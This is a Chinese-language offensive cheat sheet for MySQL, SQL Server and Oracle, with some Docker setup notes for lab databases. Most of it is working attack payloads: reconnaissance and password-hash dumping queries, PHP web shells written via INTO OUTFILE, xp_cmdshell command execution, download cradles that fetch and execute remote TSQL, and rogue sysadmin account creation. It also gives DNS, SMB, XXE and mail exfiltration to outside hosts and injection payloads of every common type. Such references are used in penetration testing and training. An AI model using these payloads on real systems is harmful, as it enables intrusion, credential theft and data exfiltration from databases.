Mysql
攻击队列
信息收集
Description | Query |
---|---|
Version | SELECT @@version; |
User | SELECT user() SELECT system_user(); |
Users | SELECT user FROM mysql.user * SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1; |
Tables | SELECT table_schema, table_name FROM information_schema.tables; |
Columns | SELECT table_name, column_name FROM information_schema.columns; |
Databases | SELECT schema_name FROM information_schema.schemata ; |
Current Database Name | SELECT database(); |
Query another Database | USE [database_name]; SELECT database(); SELECT [column] FROM [database_name].[table_name]; |
Number of Columns | SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'; |
DBA Accounts | SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; |
Password Hashes | SELECT host, user, password FROM mysql.user; |
Schema | SELECT schema(); |
Path to Data | SELECT @@datadir; |
Read Files | SELECT LOAD_FILE('/etc/passwd'); |
数据定位查询
Description | Query |
---|---|
Database sizes | SELECT table_schema “Database Name",sum( data_length + index_length ) / 1024 / 1024 “Database Size in MB",sum( data_free )/ 1024 / 1024 “Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ; |
Database name keyword | SELECT table_schema “Database Name" FROM information_schema.TABLES WHERE table_schema LIKE “%passwords%" GROUP BY table_schema ; |
Table name keyword | SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE “information_schema" AND table_name LIKE "%admin%"; |
Column name keyword | SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE ”%password%“; |
Column data regex | SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$'; |
命令执行
Description | Query |
---|---|
Command Execution (PHP) | SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php' |
Command Execution with MySQL CLI Access | https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
读写文件
Description | Query |
---|---|
Dump to file | SELECT * FROM mytable INTO dumpfile '/tmp/somefile' |
Dump PHP Shell | SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php' |
Read File | SELECT LOAD_FILE('/etc/passwd') |
Read File Obfuscated | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini |
File Privileges | SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%' |
横向运动
Description | Query |
---|---|
Create Users | CREATE USER 'netspi'@'%' IDENTIFIED BY 'password' |
Drop User | DROP USER netspi |
数据泄露
Description | Query |
---|---|
DNS Request | SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW),'sql.rqe94e.ceye.io\')) |
SMB Share | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
HTTP Server | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
Numeric Concatenation | SELECT length(user()) SELECT ASCII(substr(user(),1)) |
注入类型
Error Based
Description | Query |
---|---|
XML Parse Error | SELECT extractvalue(rand(),concat(0x3a,(select version()))) |
Double Query | SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)2))x FROM information_schema.TABLES GROUP BY x)a) |
Get Current Database | SELECT a() |
ExtractValue (最长32位) | select name,password from typecho.typecho_users where name = "admin" and extractvalue(1, concat(0x7e, (select @@version),0x7e)); |
UpdateXml (最长32位) | select name,password from typecho.typecho_users where name = "admin" and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
NAME_CONST(适用于低版本,不太好用)
1 | select name,password from typecho.typecho_users where name = "admin" and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x) |
Union-Based Injection
Description | Query |
---|---|
Union | SELECT "mysql" UNION SELECT @@version |
Union subquery | SELECT "mysql" UNION (select @@version) |
Union null | SELECT "mysql","test" UNION SELECT @@version,null |
Stacked Queries | SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) |
Blind Injection
Partial-Blind
Description | Query |
---|---|
Version is 5.x.x | SELECT substring(version(),1,1)=5 |
Subselect enabled | SELECT 1 AND (select 1)=1 |
Table log_table exists | SELECT 1 AND (select 1 from log_table limit 0,1)=1 |
Column message exists in table log_table | SELECT message FROM log_table LIMIT 0,1 |
First letter of first message is t | SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114 |
Full-Blind
Description | Query |
---|---|
User is root | SELECT IF(user() LIKE 'root@%', SLEEP(5), null) |
User is root (Benchmark method) | SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
Version is 5.x.x | SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null) |
MariaDB
docker mariadb
1 | docker search mariadb |
常用语句
查找所有用户
1 | select group_concat(user) from mysql.user; |
用户hash:
1 | select group_concat(password) from mysql.user where user='root' |
数据库
1 | SELECT group_concat(schema_name) from information_schema.schemata |
表名:
1 | SELECT group_concat(table_name) from information_schema.tables where table_schema='table_name';//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来 |
列名:
1 | SELECT group_concat(column_name) from information_schema.columns where table_name='column_name_xxx'; |
读文件:
1 | SELECT load_file('/etc/passwd'); |
写文件:
1 | SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'; |
https://blog.zeddyu.info/2019/03/06/Sqli%E5%A4%87%E5%BF%98%E5%BD%95/
SQL Server
docker
1 | docker pull microsoft/mssql-server-linux |
--cap-add //添加某个capabilites属性 --cap-del //剔除某个默认的capabilites属性
gdb调试需要SYS_PTRACE属性
出现内存不足情况
解决方法:
1 | Edit the /etc/default/grub file. |
然后又出现报错Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
1 | systemctl enable docker # 开机自动启动docker |
继续报错You have to remove (or rename) that container to be able to reuse that name.
1 | docker kill fd3c0c622af6 |
重新pull就ok了
连接时又出现错误Error: Microsoft ODBC Driver 17 for SQL Server : Login failed for user 'SA'..
1 | sudo docker exec -it sql1 /opt/mssql-tools/bin/sqlcmd \ |
想起来了,密码应该是<Wh0ale@Passw0rd>
攻击队列
信息收集
Description | Query |
---|---|
版本 | SELECT @@version; |
User | SELECT user; SELECT system_user; SELECT user_name(); SELECT loginame from master..sysprocesses where spid = @@SPID |
Users | SELECT name from master..syslogins |
Tables | SELECT table_catalog, table_name FROM information_schema.columns |
Columns | SELECT table_catalog, column_name FROM information_schema.columns |
Databases | SELECT name from master..sysdatabases; |
Database Name | SELECT db_name(); |
Server Name | SELECT @@SERVERNAME |
查找存储过程 | SELECT * from master..sysobjects where name like 'sp%' order by name desc |
用户名的主要ID | SELECT SUSER_ID('sa') |
主体ID的用户名 | SELECT SUSER_NAME(1) |
检查帐户是否为管理员 | IS_SRVROLEMEMBER(convert(varchar,0x73797361646D696E)) SELECT is_srvrolemember('sysadmin'); |
Policies | SELECT p.policy_id, p.name as [PolicyName], p.condition_id, c.name as [ConditionName], c.facet, c.expression as [ConditionExpression], p.root_condition_id, p.is_enabled, p.date_created, p.date_modified, p.description, p.created_by, p.is_system, t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id |
域用户 | https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql |
数据库审计 | SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id |
服务器审核 | SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id |
查询历史 | SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,<br/>(SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2)<br/>ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count DESC |
启用的审核规范 | https://gist.github.com/nullbind/5da8b5113da007ba0111 |
Sysadmin角色中的本地管理员 | SELECT is_srvrolemember('sysadmin','BUILTIN\Administrators') |
通过数据库链接和openrowset的域用户和LDAP查询 | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-SQLDomainUser-Example.sql |
数据定位
能够正确地定位和识别敏感信息可以成倍地减少在数据库中花费的时间
Description | Query |
---|---|
列出非默认数据库 | SELECT NAME FROM sysdatabases WHERE (NAME NOT LIKE 'distribution') AND (NAME NOT LIKE 'master') AND (NAME NOT LIKE 'model') AND (NAME NOT LIKE 'msdb') AND (NAME NOT LIKE 'publication') AND (NAME NOT LIKE 'reportserver') AND (NAME NOT LIKE 'reportservertempdb') AND (NAME NOT LIKE 'resource') AND (NAME NOT LIKE 'tempdb') ORDER BY NAME; |
列出非默认表 | SELECT '[' + SCHEMA_NAME(t.schema_id) + '].[' + t.name + ']' AS fulltable_name, SCHEMA_NAME(t.schema_id) AS schema_name, t.name AS table_name, i.rows FROM sys.tables AS t INNER JOIN sys.sysindexes AS i ON t.object_id = i.id AND i.indid < 2 WHERE (ROWS> 0) AND (t.name NOT LIKE 'syscolumns') AND (t.name NOT LIKE 'syscomments') AND (t.name NOT LIKE 'sysconstraints') AND (t.name NOT LIKE 'sysdepends') AND (t.name NOT LIKE 'sysfilegroups') AND (t.name NOT LIKE 'sysfiles') AND (t.name NOT LIKE 'sysforeignkeys') AND (t.name NOT LIKE 'sysfulltextcatalogs') AND (t.name NOT LIKE 'sysindexes') AND (t.name NOT LIKE 'sysindexkeys') AND (t.name NOT LIKE 'sysmembers') AND (t.name NOT LIKE 'sysobjects') AND (t.name NOT LIKE 'syspermissions') AND (t.name NOT LIKE 'sysprotects') AND (t.name NOT LIKE 'sysreferences') AND (t.name NOT LIKE 'systypes') AND (t.name NOT LIKE 'sysusers') ORDER BY TABLE_NAME; |
列名搜索 | SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME like '%password%' |
列出非默认列 | SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE CHARACTER_MAXIMUM_LENGTH > 14 AND DATA_TYPE NOT IN ('bigint','binary','bit','cursor','date','datetime','datetime2', 'datetimeoffset','float','geography','hierarchyid','image','int','money','real', 'smalldatetime','smallint','smallmoney','sql_variant','table','time','timestamp', 'tinyint','uniqueidentifier','varbinary','xml') AND TABLE_NAME='CreditCard' OR CHARACTER_MAXIMUM_LENGTH < 1 AND DATA_TYPE NOT IN ( 'bigint', 'binary', 'bit', 'cursor', 'date', 'datetime', 'datetime2', 'datetimeoffset', 'float', 'geography', 'hierarchyid', 'image', 'int', 'money', 'real', 'smalldatetime', 'smallint', 'smallmoney', 'sql_variant', 'table', 'time', 'timestamp', 'tinyint', 'uniqueidentifier', 'varbinary', 'xml') AND TABLE_NAME='CreditCard' ORDER BY COLUMN_NAME; |
搜索透明加密 | SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY a.database_id WHERE is_encrypted=1 |
按数据库大小搜索 | SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename, (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY DbSizeMb DESC |
数据定位正则表达式
Description | Regex |
---|---|
所有主要的信用卡提供商 | ^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$ |
屏蔽的SSN | ^(\d{3}-?\d{2}-?\d{4}|XXX-XX-XXXX)$ |
特权提升
Description | Query |
---|---|
使用户成为DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; |
授予对所有自定义对象执行 | SELECT 'grant exec on ' + QUOTENAME(ROUTINE_SCHEMA) + '.' + QUOTENAME(ROUTINE_NAME) + ' TO test' FROM INFORMATION_SCHEMA.ROUTINES WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'IsMSShipped') = 0 ; |
授予所有商店程序执行 | CREATE ROLE db_executor GRANT EXECUTE TO db_executor exec sp_addrolemember 'db_executor', 'YourSecurityAccount' |
UNC路径注入 | https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/ |
检测无法模仿的登录 | SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' |
模拟登录(注意:REVERT将使您回到原始登录状态。) | EXECUTE AS LOGIN = 'sa'; SELECT @@VERSION; |
创建系统管理员用户 | USE [master] GO CREATE LOGIN [test] WITH PASSSWORD=N 'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO EXEC master..sp_addsrvrolemember @loginame=N'test', @rolename=N'sysadmin' GO |
创建系统管理员用户 | EXEC sp_addlogin 'user', 'pass'; EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; |
删除用户 | EXEC sp_droplogin 'user'; |
检索SQL代理连接密码 | exec msdb.dbo.sp_get_sqlagent_properties |
检索DTS连接密码 | select msdb.dbo.rtbldmbprops |
获取sysadmin作为本地管理员 | https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/ |
启动存储过程 | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ |
触发创建 | https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ |
Windows自动登录密码 | https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/ |
xp_regwrite非系统管理员执行 | https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e |
具有可信赖数据库的存储过程 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases |
存储过程用户模拟 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/ |
默认密码 | sa:sa sa:[empty] [username]:[username] |
通过SQL Server执行OS命令
Name | Query |
---|---|
xp_cmdshell | -- Enable show advanced options sp_configure 'show advanced options', 1 RECONFIGURE GO -- Enable xp_cmdshell sp_configure 'xp_cmdshell', 1 RECONFIGURE GO EXEC xp_cmdshell 'net user' |
写入注册表自动运行 | https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/ https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e |
写入文件自动运行 | https://blog.netspi.com/how-to-hack-database-links-in-sql-server/ |
Agent Jobs | https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution |
存储过程中的SQL注入 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ |
CLR组装 | https://blog.netspi.com/attacking-sql-server-clr-assemblies/ |
自定义扩展存储过程 | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/cmd_exec.cpp |
TSQL
读写文件
Download Cradle bulk in server - TSQL
设置变量
1 | declare @cmd varchar(8000) |
创建临时表
1 | CREATE TABLE #file (content nvarchar(4000)); |
将文件读入临时表
1 | BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt'; |
选择文件内容
1 | SELECT @cmd = content FROM #file |
显示命令
1 | SELECT @cmd |
运行命令
1 | EXECUTE(@cmd) |
删除临时表
1 | DROP TABLE #file |
Download Cradle OAP 1 - TSQL
设置变量
1 | DECLARE @url varchar(300) |
设置包含TSQL的目标URL
1 | SET @url = 'http://127.0.0.1/mycmd.txt' |
设置命名空间
1 | EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT |
调用Open方法以设置HTTP请求
1 | EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' |
调用Send方法以发送HTTP GET请求
1 | EXEC @handle=sp_OAMethod @WinHTTP,'Send' |
捕获HTTP响应内容
1 | EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out |
销毁对象
1 | EXEC @handle=sp_OADestroy @WinHTTP |
显示命令
1 | SELECT @Command |
Download Cradle OAP 2 - TSQL
设置变量
1 | DECLARE @url varchar(300) |
设置包含TSQL的目标URL
1 | SET @url = 'http://127.0.0.1/mycmd.txt' |
创建临时表以存储下载的字符串
1 | CREATE TABLE #text(html text NULL) |
设置命名空间
1 | EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT |
调用Open方法以设置HTTP请求
1 | EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' |
捕获HTTP响应内容
1 | INSERT #text(html) |
销毁对象
1 | EXEC @Handle=sp_OADestroy @WinHTTP |
显示命令
1 | SELECT @Command = html from #text |
运行命令
1 | EXECUTE (@Command) |
删除临时表
1 | DROP TABLE #text |
横向移动
横向移动使测试人员可以访问不同的功能/数据集,而这些功能/数据无需明确要求更高特权的用户。横向切换用户帐户将暴露不同的信息,并可能有助于损害特权更大的用户。
Description | Query |
---|---|
建立使用者 | EXEC sp_addlogin 'user', 'pass'; |
删除用户 | EXEC sp_droplogin 'user'; |
链接抓取 | https://blog.netspi.com/sql-server-link-crawling-powerupsql/ |
作为当前服务连接到远程数据库 | --Requires sysadmin SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;Trusted_Connection=yes;').master.dbo.sysdatabases |
Data Exfiltration
Description | Query |
---|---|
发出DNS请求 | DECLARE @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.netspi.com' from sys.sql_logins; exec('xp_fileexist "' + @host + 'c$boot.ini"'); |
UNC路径(DNS请求) | xp_dirtree '\data.domain.com\file' The UNC Path Injection Cheatsheet can be found here. |
启用sp_send_dbmail并发送查询 | sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='harold@netspi.com',@query='select @@version'; |
基本的xp_sendmail查询 | EXEC master..xp_sendmail 'harold@netspi.com', 'This is a test.' |
使用xp_sendmail发送完整电子邮件 | EXEC xp_sendmail @ recipients ='harold @ netspi.com', @ message ='这是一个测试。', @ copy_recipients ='test @ netspi.com', @ subject ='TEST' |
通过xp_sendmail发送查询结果 | EXEC xp_sendmail 'harold@netspi.com', @query='SELECT @@version'; |
通过xp_sendmail将查询结果作为附件发送 | CREATE TABLE ##texttab (c1 text) INSERT ##texttab values ('Put messge here.') DECLARE @cmd varchar(56) SET @cmd = 'SELECT c1 from ##texttab' EXEC master.dbo.xp_sendmail 'robertk', @query = @cmd, @no_header='TRUE' DROP TABLE ##texttab |
权限维持
Description | Query |
---|---|
Startup stored procedures | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ |
Triggers | https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ |
Regwrite | https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/ |
注入类型
Error Based
Description | Query |
---|---|
显式转换 | SELECT convert(int,(SELECT @@version)) SELECT cast((SELECT @@version) as int) |
隐式转换 | SELECT 1/@@version |
MSSQL CAST函数示例
Description | Query |
---|---|
将CAST函数插入当前查询 | SELECT CAST(@@version as int) |
显示系统用户 | SELECT CAST(SYSTEM_USER as int); |
用xml路径在一行中显示所有数据库 | SELECT CAST((SELECT name,',' FROM master..sysdatabases FOR XML path('')) as int) SELECT CAST((SELECT name AS "data()" FROM master..sysdatabases FOR xml path('')) AS int); |
显示服务器名称 | SELECT CAST(@@SERVERNAME as int); |
显示服务名称 | SELECT CAST(@@SERVICENAME as int); |
显示数据库列表 注意:下面的查询必须在一行中执行。 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = ''; SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases; SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int); |
显示表列表 注意:以下查询必须在一行中执行。 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX); SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U'; SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int); |
显示列列表 注意:下面的查询必须在一行中执行。 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = ''; SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE'); SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int); |
显示列数据 注意:下面的查询必须在一行中执行。用*替换MYCOLUMN以选择所有列 |
DECLARE @listStr VARCHAR(MAX); DECLARE @myoutput VARCHAR(MAX); SET @listStr = ''; SELECT @listStr = @listStr + MYCOLUMN + ',' FROM MYDATABASE..MYTABLE; SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1) SELECT CAST(@myoutput as int); |
一次显示一个数据库名称 | SELECT TOP 1 CAST(name as int) FROM sysdatabases WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC) ORDER BY name DESC |
Union-Based Injection
基于联合的SQL注入使攻击者可以通过扩展原始查询返回的结果来从数据库中提取信息。仅当原始查询/新查询具有相同的结构(列的数量和数据类型)时,才可以使用Union运算符。
Description | Query |
---|---|
联合查询 | SELECT user UNION SELECT @@version |
联合子查询 | SELECT user UNION (SELECT @@version) |
Union null 如果原始查询返回的列不止一列,请添加null以等于列数 |
SELECT user,system_user UNION (SELECT @@version,null) |
Union null binary halving 此查询用于检测列数。列过多会返回错误,请查找与错误相距1的[numberOfColumns] |
SELECT * FROM yourtable ORDER BY [numberOfColumns] |
堆叠查询 堆叠查询并不总是返回结果,因此,它们最适合用于更新/修改数据的注入。 |
SELECT @@version; SELECT @@version -- |
Blind Injection
可以通过HTTP响应中不同的HTTP状态代码,响应时间,内容长度和HTML内容来确定部分盲注入。这些标记可以指示正确或错误的陈述。下面的查询将通过对猜测的信息断言是对还是错来尝试利用注入。还可以通过返回1(True)或0(False)行来标识对还是错查询。错误也可以用于标识0(False)。
Description | Query |
---|---|
版本是12.0.2000.8 | SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' |
启用子选择 | SELECT (SELECT @@version) |
表log_table存在 | SELECT * FROM log_table |
表log_table中存在列消息 | SELECT message from log_table |
第一封邮件的首字母为t | WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' |
将部分盲查询转换为全盲查询
全盲查询不会在HTTP / HTML响应中指示查询的任何结果。这使得它们依赖于定时功能和其他带外攻击方法。正确的语句将花费X秒来响应,错误的语句应立即返回。
Description | Query |
---|---|
Version is 12.0.2000.8 | IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02' |
Oracle
docker oracle安装教程
http://www.thxopen.com/linux/docker/2019/04/17/install-oracle11g-on-docker.html
进入docker
1 | docker pull jaspeen/oracle-11g |
修改密码
1 | alter user sys identified by "sys" |
报错:ORA-28009 connection as SYS should be as SYSDBA or SYSOPER
将“连接为”选项框的Normal改为SYSDBA或SYSOPER,即可登录成功。
orale利用视图关系:
1 | DBA_TABLES、ALL_TABLES以及USER_TABLES此三个视图可以用来查询ORACLE中关系表信息,它们之间的关系和区别有: |
攻击队列
信息收集
数据库语句
Oracle | 说明 |
---|---|
SELECT user FROM dual; | 当前用户 |
SELECT username FROM all_users ORDER BY username; | 所有用户 |
SELECT DISTINCT owner FROM all_tables; | 列出数据库 |
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; | 列出表名 |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; | 列出字段名 |
SELECT name FROM V$DATAFILE; | 数据库文件 |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; | 数据库账户 |
SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; (Gets IP Address) SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; (Gets Hostnames) |
Hostname, IP Address |
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance; |
列出版本 |
Data Exfiltration
Description | Query |
---|---|
Combine multiple lines into one | SELECT dbms_xmlgen.getxmltype('select user from dual') FROM dual |
XML External Entity | SELECT xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://118.25.69.199/xss"> %remote; %param1;]>') FROM dual; |
URL_HTTP Request (Pre-11gR2) | SELECT UTL_HTTP.request ('http://IP/test') FROM dual; |
Escaping special characters | `SELECT UTL_URL.escape('http://IP/' |
Oracle 带外通信(检测流量)
注入类型
Error Based
Description | Query |
---|---|
Invalid HTTP Request | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
Invalid XML | `SELECT to_char(dbms_xmlgen.getxml('select "' |
Invalid XML | `SELECT rtrim(extract(xmlagg(xmlelement("s", username |
1.使用utl_inaddr.get_host_name()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and 1=utl_inaddr.get_host_name((select username from user_users)); |
2.使用ctxsys.drithsx.sn()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and 1=ctxsys.drithsx.sn(1,(select username from user_users)); |
3.使用XMLType()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and (select upper(XMLType(chr(60)||chr(58)||(select username from user_users)||chr(62))) from dual) is not null; |
4.使用dbms_xdb_version.checkin()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null; |
5.使用dbms_xdb_version.makeversioned()进报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.makeversioned((select username from user_users)) from dual) is not null; |
6.使用dbms_xdb_version.uncheckout()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.uncheckout((select username from user_users)) from dual) is not null; |
7.使用dbms_utility.sqlid_to_sqlhash()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select username from user_users)) from dual) is not null; |
8.使用ordsys.ord_dicom.getmappingxpath()进行报错注入
1 | SQL> select banner from sys.v_$version where rownum=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user); |
9.使用decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法(类似于盲注的每个字符二分查找来猜解)。
Oracle中的substr函数和MySQL有点区别,例如substr("archerx",0,1) substr("archerx",1,1)都是截取第一个字符。
decode(a,b,c,d)函数 : if a==b return c else d
1 | SQL> select substr(user,1,1) from dual; |
Union-Based Injection
Description | Query |
---|---|
Union | SELECT user FROM dual UNION SELECT * FROM v$version |
Union subquery | SELECT user FROM dual UNION (SELECT * FROM v$version) |
Union null | SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version) |
Blind Injection
Description | Query |
---|---|
Version is 12.2 | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
Subselect is enabled | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
Table log_table exists | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
Column message exists in table log_table | Select COUNT(*) from user_tab_cols where column_name = 'MESSAGE' and table_name = 'LOG_TABLE'; |
First letter of first message is t | Select message from log_table where rownum=1 and message LIKE 't%'; |
Oracle 注入一般步骤:
